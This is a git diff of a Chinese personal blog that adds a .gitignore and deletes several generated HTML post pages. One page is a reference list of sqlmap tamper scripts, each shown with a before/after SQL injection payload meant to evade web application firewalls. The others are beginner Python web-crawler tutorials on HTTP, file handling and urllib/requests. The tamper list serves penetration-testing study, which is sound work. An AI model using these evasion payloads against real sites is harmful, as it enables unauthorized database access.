diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..063b0e4 --- /dev/null +++ b/.gitignore @@ -0,0 +1,7 @@ +.DS_Store +Thumbs.db +db.json +*.log +node_modules/ +public/ +.deploy*/ \ No newline at end of file diff --git a/2019/04/01/sqlmap-tamper/index.html b/2019/04/01/sqlmap-tamper/index.html deleted file mode 100644 index 59cff4c..0000000 --- a/2019/04/01/sqlmap-tamper/index.html +++ /dev/null @@ -1,788 +0,0 @@ - - - - - - - - - - - - - - - - sqlmap使用记录--tamper | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- sqlmap使用记录--tamper -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
- - - - -

sqlmap在默认的的情况下除了使用char()函数防止出现单引号,没有对注入的数据进行修改,还可以使用–tamper参数对数据做修改来绕过waf等设备。

-

0x01 命令如下

1  sqlmap -u [url] --tamper [模块名]
-
-

sqlmap的绕过脚本在目录usr/share/golismero/tools/sqlmap/tamper下
目前sqlmap 1.2.9版本共有37个

-

可以使用–identify-waf对一些网站是否有安全防护进行试探

-

0x02 常用tamper脚本

apostrophemask.py

-

适用数据库:ALL
作用:将引号替换为utf-8,用于过滤单引号
使用脚本前:tamper(“1 AND ‘1’=’1”)
使用脚本后:1 AND %EF%BC%871%EF%BC%87=%EF%BC%871

-

base64encode.py

-

适用数据库:ALL
作用:替换为base64编码
使用脚本前:tamper(“1’ AND SLEEP(5)#”)
使用脚本后:MScgQU5EIFNMRUVQKDUpIw==

-

multiplespaces.py

-

适用数据库:ALL
作用:围绕sql关键字添加多个空格
使用脚本前:tamper(‘1 UNION SELECT foobar’)
使用脚本后:1 UNION SELECT foobar

-

space2plus.py

-

适用数据库:ALL
作用:用加号替换空格
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT+id+FROM+users

-

nonrecursivereplacement.py

-

适用数据库:ALL
作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)
使用脚本前:tamper(‘1 UNION SELECT 2–’)
使用脚本后:1 UNIOUNIONN SELESELECTCT 2–

-

space2randomblank.py

-

适用数据库:ALL
作用:将空格替换为其他有效字符
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Did%0DFROM%0Ausers

-

unionalltounion.py

-

适用数据库:ALL
作用:将union allselect 替换为unionselect
使用脚本前:tamper(‘-1 UNION ALL SELECT’)
使用脚本后:-1 UNION SELECT

-

securesphere.py

-

适用数据库:ALL
作用:追加特定的字符串
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1 and ‘0having’=’0having’

-

space2dash.py

-

适用数据库:ALL
作用:将空格替换为–,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–nVNaVoPYeva%0AAND–ngNvzqu%0A9227=9227

-

space2mssqlblank.py

-

适用数据库:Microsoft SQL Server
测试通过数据库:Microsoft SQL Server 2000、Microsoft SQL Server 2005
作用:将空格随机替换为其他空格符号(‘%01’, ‘%02’, ‘%03’, ‘%04’, ‘%05’, ‘%06’, ‘%07’, ‘%08’, ‘%09’, ‘%0B’, ‘%0C’, ‘%0D’, ‘%0E’, ‘%0F’, ‘%0A’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Eid%0DFROM%07users

-

between.py

-

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:用NOT BETWEEN 0 AND #替换>
使用脚本前:tamper(‘1 AND A > B–’)
使用脚本后:1 AND A NOT BETWEEN 0 AND B–

-

percentage.py

-

适用数据库:ASP
测试通过数据库:Microsoft SQL Server 2000, 2005、MySQL 5.1.56, 5.5.11、PostgreSQL 9.0
作用:在每个字符前添加一个%
使用脚本前:tamper(‘SELECT FIELD FROM TABLE’)
使用脚本后:%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E

-

sp_password.py

-

适用数据库:MSSQL
作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
使用脚本前:tamper(‘1 AND 9227=9227– ‘)
使用脚本后:1 AND 9227=9227– sp_password

-

charencode.py

-

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45

-

randomcase.py

-

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:随机大小写
使用脚本前:tamper(‘INSERT’)
使用脚本后:INseRt

-

charunicodeencode.py

-

适用数据库:ASP、ASP.NET
测试通过数据库:Microsoft SQL Server 2000/2005、MySQL 5.1.56、PostgreSQL 9.0.3
作用:适用字符串的unicode编码
使用脚本前:tamper(‘SELECT FIELD%20FROM TABLE’)
使用脚本后:%u0053%u0045%u004C%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004C%u0044%u0020%u0046%u0052%u004F%u004D%u0020%u0054%u0041%u0042%u004C%u0045

-

space2comment.py

-

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将空格替换为//
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT/
/id//FROM//users

-

equaltolike.py

-

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5
作用:将=替换为LIKE
使用脚本前:tamper(‘SELECT FROM users WHERE id=1’)
使用脚本后:SELECT
FROM users WHERE id LIKE 1

-

equaltolike.py

-

测试通过数据库:MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0
作用:将>替换为GREATEST,绕过对>的过滤
使用脚本前:tamper(‘1 AND A > B’)
使用脚本后:1 AND GREATEST(A,B+1)=A

-

ifnull2ifisnull.py

-

适用数据库:MySQL、SQLite (possibly)、SAP MaxDB (possibly)
测试通过数据库:MySQL 5.0 and 5.5
作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
使用脚本前:tamper(‘IFNULL(1, 2)’)
使用脚本后:IF(ISNULL(1),2,1)

-

modsecurityversioned.py

-

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:过滤空格,使用mysql内联注释的方式进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!30874AND 2>1/–
space2mysqlblank.py

-

适用数据库:MySQL
测试通过数据库:MySQL 5.1
作用:将空格替换为其他空格符号(‘%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)
使用脚本前:tamper(‘SELECT id FROM users’)
使用脚本后:SELECT%0Bid%0DFROM%0Cusers

-

modsecurityzeroversioned.py

-

适用数据库:MySQL
测试通过数据库:MySQL 5.0
作用:使用内联注释方式(/!00000/)进行注入
使用脚本前:tamper(‘1 AND 2>1–’)
使用脚本后:1 /!00000AND 2>1/–

-

space2mysqldash.py

-

适用数据库:MySQL、MSSQL
作用:将空格替换为 – ,并追随一个换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1–%0AAND–%0A9227=9227

-

bluecoat.py

-

适用数据库:Blue Coat SGOS
测试通过数据库:MySQL 5.1,、SGOS
作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
使用脚本前:tamper(‘SELECT id FROM users where id = 1’)
使用脚本后:SELECT%09id FROM users where id LIKE 1

-

versionedkeywords.py

-

适用数据库:MySQL
测试通过数据库:MySQL 4.0.18, 5.1.56, 5.5.11
作用:注释绕过
使用脚本前:tamper(‘1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,100,114,117,58))#’)
使用脚本后:1/!UNION//!ALL//!SELECT//!NULL/,/!NULL/, CONCAT(CHAR(58,104,116,116,58),IFNULL(CAST(CURRENT_USER()/!AS//!CHAR/),CHAR(32)),CHAR(58,100,114,117,58))#

-

halfversionedmorekeywords.py

-

适用数据库:MySQL < 5.1
测试通过数据库:MySQL 4.0.18/5.0.22
作用:在每个关键字前添加mysql版本注释
使用脚本前:tamper(“value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’=’QDWa”)
使用脚本后:value’/!0UNION/!0ALL/!0SELECT/!0CONCAT(/!0CHAR(58,107,112,113,58),/!0IFNULL(CAST(/!0CURRENT_USER()/!0AS/!0CHAR),/!0CHAR(32)),/!0CHAR(58,97,110,121,58)),/!0NULL,/!0NULL#/!0AND ‘QDWa’=’QDWa

-

space2morehash.py

-

适用数据库:MySQL >= 5.1.13
测试通过数据库:MySQL 5.1.41
作用:将空格替换为#,并添加一个随机字符串和换行符
使用脚本前:tamper(‘1 AND 9227=9227’)
使用脚本后:1%23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23lujYFWfv%0A9227=9227

-

apostrophenullencode.py

-

适用数据库:ALL
作用:用非法双字节Unicode字符替换单引号
使用脚本前:tamper(“1 AND ‘1’=’1”)
使用脚本后:1 AND %00%271%00%27=%00%271

-

appendnullbyte.py

-

适用数据库:ALL
作用:在有效载荷的结束位置加载null字节字符编码
使用脚本前:tamper(‘1 AND 1=1’)
使用脚本后:1 AND 1=1%00

-

chardoubleencode.py

-

适用数据库:ALL
作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
使用脚本前:tamper(‘SELECT FIELD FROM%20TABLE’)
使用脚本后:%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545

-

unmagicquotes.py

-

适用数据库:ALL
作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格
使用脚本前:tamper(“1’ AND 1=1”)
使用脚本后:1%bf%27 AND 1=1–

-

randomcomments.py

-

适用数据库:ALL
作用:用注释符分割sql关键字
使用脚本前:tamper(‘INSERT’)
使用脚本后:I//N//SERT

-

0x03 附录:

img

-

0x04 在熟悉了tamper脚本之后,我们应该学习tamper绕过脚本的编写规则,来应对复杂的实际环境。

-
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - -
-

- -   转载请注明: - - 苦乐随缘 - - sqlmap使用记录--tamper -

-
-
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之一:网络爬虫理论基础 - - Python网络爬虫实战之一:网络爬虫理论基础 -
-
-
-
- - 一、浏览网页的基本过程和通信基础 -当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? - -简单来说这段过程发生了以下四个步骤: - -浏览器通过DNS服务器查 - -
-
- - 2019-05-11 - - - - - - - - - -
-
- - - -
-
- - -
-
- 本篇  -
-
- -
- - sqlmap使用记录--tamper - - sqlmap使用记录--tamper -
-
-
-
- - - - (adsbygoogle = window.adsbygoogle || []).push({ - google_ad_client: "ca-pub-3405437608986450", - - -
-
- - 2019-04-01 - - - - - - - - - -
-
- - - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/11/python-crawler-basic-internet-1/index.html b/2019/05/11/python-crawler-basic-internet-1/index.html deleted file mode 100644 index 70c058c..0000000 --- a/2019/05/11/python-crawler-basic-internet-1/index.html +++ /dev/null @@ -1,804 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之一:网络爬虫理论基础 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之一:网络爬虫理论基础 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

一、浏览网页的基本过程和通信基础

-

当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么?

-
-

简单来说这段过程发生了以下四个步骤:

-
    -
  1. 浏览器通过DNS服务器查找域名对应的IP地址;
  2. -
  3. 向IP地址对应的Web服务器发送请求 ;
  4. -
  5. Web Web服务器响应请求,发回HTML页面 ;
  6. -
  7. 浏览器解析HTML内容,并显示出来
  8. -
-

DNS

    -
  • DNS 是计算机域名系统 (Domain Name System (Domain Name System 或 Domain Name Service) 的缩写,由解析器和域名服务组成的。
  • -
  • 域名服务器是指保存有该网络中所主机的和对应 IP 地址,并具有将域名转换为 IP 地址功能的服务器。
  • -
  • 一般个域名的DNS解析时间在10~60毫秒之间。
  • -
  • 一个域名必须对应IP地址,而一个IP地址不一定会有域名
  • -
-

HTTP和HTTPS

    -
  • HTTP协议(HyperText Transfer Protocol,超文本传输协议)是一种发布和接收HTML页面的方法
  • -
  • HTTPS协议(HyperText Transfer Protocol over Secure Socket Layer)简单的讲就是HTTP的安全版,在HTTP下加入SSL层
  • -
  • SSL(Secure Socket Layer 安全套接层)主要用于Web的安全传输协议,在传输层对网络连接进行加密,保障在Internet上数据传输的安全
  • -
  • HTTP的端口号是80,HTTPS的端口号是443
  • -
-

URI与URL

    -
  • URI(Uniform Resource Identifier)统一资源标志符
  • -
  • URL(Universal Resource Locator)统一资源定位符,用于完整地描述Internet上网页和其他资源的地址的一中标识方法
  • -
  • URL的基本格式:scheme://host[:port]/path/.../[?query-string][#anchor]
  • -
-

请求

请求由客户端向服务端发出,分为四部分:请求方法、请求的网址、请求头、请求体

-
    -
  • 请求方法
  • -
-

img

-

1-1.jpg

-
    -
  • 请求头,用来说明服务器使用的附加信息,比较重要的信息有Cookie、Referer、user-Agent等。
  • -
-

img

-

1-2.jpg

-
    -
  • 请求体,一般承载的内容是POST请求中的表单数据,而对于GET请求,请求体则为空。
  • -
-

img

-

1-3.jpg

-

响应

响应由服务端返回给客户端,分为三部分:响应状态码、响应头、响应提

-
    -
  • 响应状态码
  • -
-

img

-

1-4.jpg

-
    -
  • 响应头,包含了服务器对请求的应答信息,如Content-Type、Server、Set-Cookie等。
  • -
-

img

-

1-4.jpg

-
    -
  • 响应体,响应的正文数据都在响应体中,比如请求网页时他的响应体就是网页的HTML代码,请求一张图片时,它的响应体就是图片的二进制数据。我们做爬虫请求网页后,要解析的就是响应体
  • -
-

二、爬虫基本工作原理

爬虫基本类型

    -
  • 通用爬虫:是 捜索引擎抓取系统(Baidu、Google、Yahoo等)的重要组成部分。主要目的是将互联网上的网页下载到本地,形成一个互联网内容的镜像备份。
  • -
  • 聚焦爬虫:是”面向特定主题需求”的一种网络爬虫程序,它与通用搜索引擎爬虫的区别在于, 聚焦爬虫在实施网页抓取时会对内容进行处理筛选,尽量保证只抓取与需求相关的网页信息。
  • -
  • 增量式爬虫:增量式更新指的是在更新的时候只更新改变的地方,而未改变的地方则不更新。所以增量式爬虫技术在爬取网页的过程中,只爬取内容发生变化或是新产生的网页,对未发生内容变化的网页则不会爬取。
  • -
-

爬虫的基本工作流程(以通用爬虫为例)

img

-

​ 1-7.png

-
第一步:抓取网页
    -
  • 首先选取一部分的种子URL,将这些URL放入待抓取URL队列;
  • -
  • 取出待抓取URL,解析DNS得到主机的IP,并将URL对应的网页下载下来,存储进已下载网页库中,并且将这些URL放进已抓取URL队列。
  • -
  • 分析已抓取URL队列中的URL,分析其中的其他URL,并且将URL放入待抓取URL队列,从而进入下一个循环
  • -
-
第二步:数据存储
    -
  • 搜索引擎通过爬虫爬取到的网页,将数据存入原始页面数据库。其中的页面数据与用户浏览器得到的HTML是完全一样的。
  • -
  • 搜索引擎蜘蛛在抓取页面时,也做一定的重复内容检测,一旦遇到访问权重很低的网站上有大量抄袭、采集或者复制的内容,很可能就不再爬行。
  • -
-
第三步:预处理
    -
  • 搜索引擎将爬虫抓取回来的页面,进行各种步骤的预处理,比如:提取文字、中文分词、消除噪音(比如版权声明文字、导航条、广告等……)、索引处理、链接关系计算、特殊文件处理….
  • -
  • 除了HTML文件外,搜索引擎通常还能抓取和索引以文字为基础的多种文件类型,如 PDF、Word、WPS、XLS、PPT、TXT 文件等。我们在搜索结果中也经常会看到这些文件类型。
  • -
  • 但搜索引擎还不能处理图片、视频、Flash 这类非文字内容,也不能执行脚本和程序。
  • -
-
第四步:操作数据,实现需求

比如获取京东某类商品的所有评论、购买用户的会员等级

-

爬虫基本结构

img

-

1-6.jpg

-

爬虫的抓取策略

    -
  • 深度优先遍历策略
  • -
  • 广度优先遍历策略
  • -
  • 方向链接策略
  • -
  • Partial PageRank 策略
  • -
  • OPIC策略
  • -
-

爬虫的更新策略

    -
  • 历史参考策略
  • -
  • 用户体验策略
  • -
  • 聚类抽样策略
  • -
-

网页分析算法

    -
  • 基于用户行为的网页分析算法
  • -
  • 基于网络拓扑的网页分析算法
  • -
  • 基于网页内容的网页分析算法
  • -
- -
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之二:环境部署、基础语法、文件操作 - - Python网络爬虫实战之二:环境部署、基础语法、文件操作 -
-
-
-
- - 一、Python的环境部署Python安装、Python的IDE安装本文不再赘述,网上有很多教程 -爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup - -Requests 是基于urllib编写的第三方 - -
-
- - 2019-05-12 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - sqlmap使用记录--tamper - - sqlmap使用记录--tamper -
-
-
-
- - - - (adsbygoogle = window.adsbygoogle || []).push({ - google_ad_client: "ca-pub-3405437608986450", - - -
-
- - 2019-04-01 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/12/python-crawler-basic-oper-2/index.html b/2019/05/12/python-crawler-basic-oper-2/index.html deleted file mode 100644 index 0e405d7..0000000 --- a/2019/05/12/python-crawler-basic-oper-2/index.html +++ /dev/null @@ -1,821 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之二:环境部署、基础语法、文件操作 | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之二:环境部署、基础语法、文件操作 -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

一、Python的环境部署

Python安装、Python的IDE安装本文不再赘述,网上有很多教程

-

爬虫必备的几个库:Requests、Selenium、lxml、Beatiful Soup

-
    -
  • Requests 是基于urllib编写的第三方扩展库,是采用Apache2 Licensed开源协议的HTTP库
  • -
  • Selenium是一个自动化测试工具,利用它我们可以驱动浏览器执行特定的动作,如点击、下拉等操作。对于一些JavaScript渲染的页面来说,这种抓取方式非常有效。
  • -
  • lxml是Python的一个解析库,支持HTML和XML的解析,支持XPath解析方式,而且解析效率非常高
  • -
  • Beatiful Soup是Python的一个HTML或XML的解析库,我们可以用它来方便地从网页中提取数据
  • -
-

二、Python的基础语法

可参考我的《趣学Python——教孩子学编程》系列笔记

-

《趣学Python——教孩子学编程》学习笔记第1-3章

-

《趣学Python——教孩子学编程》学习笔记第4-6章

-

《趣学Python——教孩子学编程》学习笔记第7-8章

-

《趣学Python——教孩子学编程》学习笔记第9-10章

-

《趣学Python——教孩子学编程》学习笔记第11-12章

-

《趣学Python——教孩子学编程》学习笔记第13章

-

三、Python文件的读取与输出

键盘输入

-
# 键盘输入(python3将raw_input和input进行了整合,只有input)
-str = input("Please enter:")
-print("你输入的内容是:", str)
-

打开文件

-
# 打开一个文件
-fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb")
-print("文件名:", fo.name)
-print("是否已关闭:", fo.closed)
-print("访问模式:", fo.mode)
-

关闭文件

-
# 关闭一个文件
-fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "wb")
-fo.close()
-print("是否已关闭:", fo.closed)
-

写入文件内容

-
# 写入文件内容
-fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")
-fo.write("www.baidu.com www.cctvjiatao.com")
-fo.flush()
-fo.close()
-

读取文件内容

-
fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")
-str = fo.read(11)
-print("读取的字符串是:", str)
-fo.close()
-

查找当前位置

-
# 查找当前位置
-fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")
-str = fo.read(11)
-position = fo.tell()
-print("当前读取的位置是:", position)
-# result: 当前文件位置: 11
-fo.close()
-

文件指针重定位

-
# 文件指针重定位
-fo = open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "r+")
-str = fo.read(11)
-print("读取的字符串1:", str)
-# result: 重新读取的字符串1: www.baidu.c
-position = fo.tell()
-print("当前文件位置:", position)
-# result: 当前文件位置: 11
-str = fo.read(11)
-print("读取的字符串2:", str)
-# result: 读取的字符串2: om www.cctv
-postion = fo.seek(0, 0)
-str = fo.read(11)
-print("读取的字符串3:", str)
-# result: 读取的字符串3: www.baidu.c
-fo.close()
-

文件重命名

-
# 文件重命名 filejiatao.txt——>filejiatao2.txt
-import os
-
-src_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt"
-dst_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt"
-os.rename(src_file, dst_file)
-

删除文件

-
# 删除一个文件
-import os
-
-dirty_file = r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao2.txt"
-os.remove(dirty_file)
-

异常处理1

-

img

-

2-1.jpg

-
# 异常处理1
-try:
-    fh = open("testfile.txt", "w")
-    fh.write("this is my test file for exception handing!")
-except IOError:
-    print("Eorror:can\'t find file or read data")
-else:
-    print("witten content in the file successfully")
-    fh.close()
-

异常处理2

-
# 异常处理2
-try:
-    fh = open("testfile.txt", "w")
-    fh.write("this is my test file for exception handing!")
-finally:
-    print("Eorror:I don\'t kown why ...")
-

异常处理3

-
# 异常处理3
-def temp_convert(var):
-    try:
-        return int(var)
-    # except ValueError,Argument:
-    #     print("The argument does not contain numbers\n",Argument)
-    except (ValueError) as Argument:
-        print("The argument does not contain numbers\n", Argument)
-
-
-temp_convert("xyz")
-
-
-
- - - - -
- - - - -
- - - - - - -
- - - -
- - - - -
-
- - - - - - - - - - - - - -
-
- -
-
-  上一篇
-
- -
- - Python网络爬虫实战之三:基本工具库urllib和requests - - Python网络爬虫实战之三:基本工具库urllib和requests -
-
-
-
- - Python网络爬虫实战之三:基本工具库urllib和requests一、urlliburllib简介urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。 -ur - -
-
- - 2019-05-13 - - - - - - - - - -
-
- - - -
-
- - -
-
- 下一篇  -
-
- -
- - Python网络爬虫实战之一:网络爬虫理论基础 - - Python网络爬虫实战之一:网络爬虫理论基础 -
-
-
-
- - 一、浏览网页的基本过程和通信基础 -当我们在浏览器地址栏输入: http://www.baidu.com 回车后会浏览器显示百度的首页,那这 段网络通信过程中到底发生了什么? - -简单来说这段过程发生了以下四个步骤: - -浏览器通过DNS服务器查 - -
-
- - 2019-05-11 - - - - - - - - - -
-
- - - -
-
- -
-
-
- - - - - -
- - - - -
- - - - - - - - -
- - - -
- - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/2019/05/13/python-crawler-urllib-requests-3/index.html b/2019/05/13/python-crawler-urllib-requests-3/index.html deleted file mode 100644 index e383eae..0000000 --- a/2019/05/13/python-crawler-urllib-requests-3/index.html +++ /dev/null @@ -1,1321 +0,0 @@ - - - - - - - - - - - - - - - - Python网络爬虫实战之三:基本工具库urllib和requests | 苦乐随缘 - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
-
- Python网络爬虫实战之三:基本工具库urllib和requests -
-
-
-
-
-
- - - -
- - - -
-
- -
-
-
-

Python网络爬虫实战之三:基本工具库urllib和requests

一、urllib

urllib简介

urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。

-

urllib在python2.x与python3.x中的区别

在python2.x中,urllib分为urllib和urllib2,在python3.x中合并为urllib。两者使用起来不太一样,注意转换。

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Python2.xPython3.x
import urllib2import urllib.request,urllib.error
import urllibimport urllib.request,urllib.error,urllib.parse
import urlparseimport urllib.parse
import urlopenimport urllib.request.urlopen
import urlencodeimport urllib.parse.urlencode
import urllib.quoteimport urllib.request.quote
cookielib.CookieJarhttp.CookieJar
urllib2.Requesturllib.request.Request
-

urllib的四个子模块

Python3.6.0中urllib模块包括一下四个子模块,urllib模块是一个运用于URL的包(urllib is a package that collects several modules for working with URLs)

-
    -
  • urllib.request用于访问和读取URLS(urllib.request for opening and reading URLs),就像在浏览器里输入网址然后回车一样,只需要给这个库方法传入URL和其他参数就可以模拟实现这个过程。
  • -
  • urllib.error包括了所有urllib.request导致的异常(urllib.error containing the exceptions raised by urllib.request),我们可以捕捉这些异常,然后进行重试或者其他操作以确保程序不会意外终止。
  • -
  • urllib.parse用于解析URLS(urllib.parse for parsing URLs),提供了很多URL处理方法,比如拆分、解析、合并、编码。
  • -
  • urllib.robotparser用于解析robots.txt文件(urllib.robotparser for parsing robots.txt files),然后判断哪些网站可以爬,哪些网站不可以爬。
  • -
-

使用urllib打开网页

最基本的方法打开网页

-
# 最基本的方法打开网页
-from urllib.request import urlopen
-
-response = urlopen("http://www.baidu.com")
-print(type(response))
-print(response.status)
-print(response.getheaders())
-print(response.getheader('Server'))
-html = response.read()
-print(html)
-

携带data参数打开网页

-
# 携带data参数打开网页
-from urllib.parse import urlencode
-from urllib.request import urlopen
-
-data = bytes(urlencode({'word': 'hello'}), encoding='utf8')
-response = urlopen('http://httpbin.org/post', data=data)
-print(response.read().decode('utf-8'))
-

携带timeout参数打开网页1

-
#  携带timeout参数打开网页1
-from urllib.request import urlopen
-
-# response = urllib.request.urlopen('http://httpbin.org/get', timeout=0.1)
-response = urlopen('http://httpbin.org/get', timeout=1)
-print(response.read())
-

携带timeout参数打开网页2

-
# 携带timeout参数打开网页2
-from urllib.request import urlopen
-
-try:
-    response = urlopen('http://httpbin.org/get', timeout=0.1)
-    print(response.read())
-except Exception as e:
-    print(e)
-

通过构建Request打开网页1

-
# 通过构建Request打开网页1
-from urllib.request import Request
-from urllib.request import urlopen
-
-request = Request('https://python.org')
-response = urlopen(request)
-print(response.read().decode('utf-8'))
-

通过构建Request打开网页2

-
# 通过构建Request打开网页2
-from urllib.request import Request
-from urllib.request import urlopen
-from urllib.parse import urlencode
-
-url = 'http://httpbin.org/post'
-headers = {
-    'User-Agent': 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)',
-    'Host': 'httpbin.org'
-}
-dict = {'name': 'Germey'}
-data = bytes(urlencode(dict), encoding='utf8')
-req = Request(url=url, data=data, headers=headers, method='POST')
-response = urlopen(req)
-print(response.read().decode('utf-8'))
-

与通过构建Request打开网页2对比

-
# 与通过构建Request打开网页2对比
-from urllib.request import Request
-from urllib.request import urlopen
-
-req = Request(url=url, data=data, method='POST')
-response = urlopen(req)
-print(response.read().decode('utf-8'))
-

通过构建Request打开网页3:通过add_header方

-
# 通过构建Request打开网页3:通过add_header方法添加headers
-from urllib.request import Request
-from urllib.request import urlopen
-from urllib.parse import urlencode
-
-url = 'http://httpbin.org/post'
-dict = {'name': 'Germey'}
-data = bytes(urlencode(dict), encoding='utf8')
-req = Request(url=url, data=data, method='POST')
-req.add_header('User-Agent', 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)')
-response = urlopen(req)
-print(response.read().decode('utf-8'))
-

urlencode()的使用

-
# urlencode()的使用
-from urllib.parse import urlencode
-from urllib.request import urlopen
-data = {'first': 'true', 'pn': 1, 'kd': 'Python'}
-data = urlencode(data).encode('utf-8')
-data
-page = urlopen(req, data=data).read()
-page
-

使用代理打开网页

-
# 使用代理
-from urllib.error import URLError
-from urllib.request import ProxyHandler, build_opener
-
-proxy_handler = ProxyHandler({'http': '106.56.102.140:8070'})
-opener = build_opener(proxy_handler)
-try:
-    response = opener.open('http://www.baidu.com/')
-    print(response.read().decode('utf-8'))
-except URLError as e:
-    print(e.reason)
-

二、requests

相比较urllib模块,requests模块要简单很多,但是需要单独安装:

-
    -
  • 在windows系统下只需要在命令行输入命令 pip install requests 即可安装。
  • -
  • 在 linux 系统下,只需要输入命令 sudo pip install requests ,即可安装。
  • -
-

requests库的八个主要方法

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
方法描述
requests.request()构造一个请求,支持以下各种方法
requests.get()向html网页提交get请求的方法
requests.post()向html网页提交post请求的方法
requests.head()获取html头部信息的主要方法
requests.put()向html网页提交put请求的方法
requests.options()向html网页提交options请求的方法
requests.patch()向html网页提交局部修改的请求
requests.delete()向html网页提交删除的请求
-

请求之后,服务器通过response返回数据,response具体参数如下图:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
属性描述
r.status_codehttp请求的返回状态,若为200则表示请求成功
r.texthttp响应内容的字符串形式,即返回的页面内容
r.encoding从http header 中猜测的相应内容编码方式
r.apparent_encoding从内容中分析出的响应内容编码方式(备选编码方式)
r.contenthttp响应内容的二进制形式
-

requests.request(method, url, **kwargs)

    -
  • method:即 get、post、head、put、options、patch、delete
  • -
  • url:即请求的网址
  • -
